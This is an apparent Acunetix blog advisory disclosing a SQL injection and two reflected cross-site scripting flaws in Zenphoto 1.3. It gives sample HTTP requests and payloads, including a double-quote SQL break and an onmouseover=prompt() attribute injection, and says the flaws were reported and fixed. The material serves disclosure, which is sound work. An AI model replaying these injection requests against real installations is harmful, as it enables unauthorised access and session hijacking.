Zenphoto 1.3 SQL Injection / Cross Site Scripting

`We are continuing with the list of security vulnerabilities found in a  
number of web applications while testing our latest version of Acunetix  
WVS v7 . In this blog post, we will look into the details of a number  
of security problems discovered by Acunetix WVS in the popular web  
gallery application Zenphoto.  
  
Zenphoto is a standalone gallery CMS that just makes sense and  
doesn’t try to do everything and your dishes. We hope you agree with our  
philosophy: simpler is better. Don’t get us wrong though – Zenphoto  
really does have everything you need for web media gallery management.  
  
The following web vulnerabilities were found in Zenphoto Version 1.3;  
  
1. SQL injection in “/zenphoto_1_3/zp-core/full-image.php”, parameter “a”.  
2. Cross-site Scripting vulnerability in  
“/zenphoto_1_3/zp-core/admin.php”, parameter “from”.  
3.Cross-site Scripting vulnerability in  
“/zenphoto_1_3/zp-core/admin.php”, parameter “user”.  
  
Technical details about each web vulnerability are below;  
  
1. SQL injection in “/zenphoto_1_3/zp-core/full-image.php”, parameter “a”.  
  
Source file: /var/www/zenphoto_1_3/zp-core/functions-db.php line: 65  
  
Additional details:  
  
SQL Query:  
SELECT `id`, `album_theme` FROM `zp_albums` WHERE `folder` LIKE  
"1ACUSTART'"*" OR `folder` LIKE "1ACUSTART'"*/  
ACUEND"  
  
Stack trace:  
1. query([string] "SELECT `id`, `album_theme` FROM `zp_albums` WHERE  
`folder` LIKE "1ACUSTART'"*" OR `folder` LIKE "1ACUSTART'"*/\n  
ACUEND"", [boolean] false)  
2. query_full_array([string] "SELECT `id`, `album_theme` FROM  
`zp_albums` WHERE `folder` LIKE "1ACUSTART'"*" OR `folder` LIKE  
"1ACUSTART'"*/\n ACUEND"")  
3. getAlbumInherited([string] "1ACUSTART'"*/\n ACUEND", [string]  
"album_theme", [NULL] )  
4. themeSetup([string] "1ACUSTART'"*/\n ACUEND")  
  
As you can see in the SQL query (or the stack trace), in order to alter  
the SQL statement sent to the database you need to use a double qoute  
(not a single one, as in most SQL injections).  
  
Sample HTTP request:  
GET  
/zenphoto_1_3/zp-core/full-image.php?a=%24%7binjecthere%7d&i=system-bug.jpg&q=75  
HTTP/1.1  
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c  
Acunetix-Aspect: enabled  
Cookie: PHPSESSID=fb161d1fe8597f17394ce4e39759840e; setup_test_cookie=5479  
Host: webapps7:80  
Connection: Keep-alive  
Accept-Encoding: gzip,deflate  
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR  
1.1.4322)  
  
  
2. Cross-site Scripting vulnerability in  
“/zenphoto_1_3/zp-core/admin.php”, parameter “from”.  
  
Attack details  
  
URL encoded GET input from was set to ” onmouseover=prompt(934419) bad=”.  
The input is reflected inside a tag element between double quotes.  
  
Sample HTTP request:  
GET  
/zenphoto_1_3/zp-core/admin.php?from=%22%20onmouseover%3dprompt%28934419%29%20bad%3d%22  
HTTP/1.1  
Cookie: PHPSESSID=fb161d1fe8597f17394ce4e39759840e; setup_test_cookie=5479  
Host: webapps7:80  
Connection: Keep-alive  
Accept-Encoding: gzip,deflate  
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR  
1.1.4322)  
  
3. Cross-site Scripting vulnerability in  
“/zenphoto_1_3/zp-core/admin.php”, parameter “user”.  
  
Attack details  
  
URL encoded POST input user was set to ” onmouseover=prompt(932890) bad=”.  
The input is reflected inside a tag element between double quotes.  
  
Sample HTTP Request:  
POST /zenphoto_1_3/zp-core/admin.php HTTP/1.1  
Content-Length: 149  
Content-Type: application/x-www-form-urlencoded  
Cookie: PHPSESSID=fb161d1fe8597f17394ce4e39759840e; setup_test_cookie=5479  
Host: webapps7:80  
Connection: Keep-alive  
Accept-Encoding: gzip,deflate  
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR  
1.1.4322)  
  
code_h=1644ca84b35bf7663c5e828744339de8&login=1&pass=acUn3t1x&redirect=%2fzp-core%2fadmin.php&user=%22%20onmouseover%3dprompt%28932890%29%20bad%3d%22  
  
These vulnerabilities were reported to the Zenphoto team on 22/7/2010  
via the trac system on their website and they were fixed in latest  
version of Zenphoto. If you are using Zenphoto, download the latest  
version from their website.  
  
-  
Bogdan Calin - bogdan [at] acunetix.com  
CTO  
Acunetix Ltd. - http://www.acunetix.com  
Acunetix Web Security Blog - http://www.acunetix.com/blog  
Follow us on Twitter - http://www.twitter.com/acunetix  
`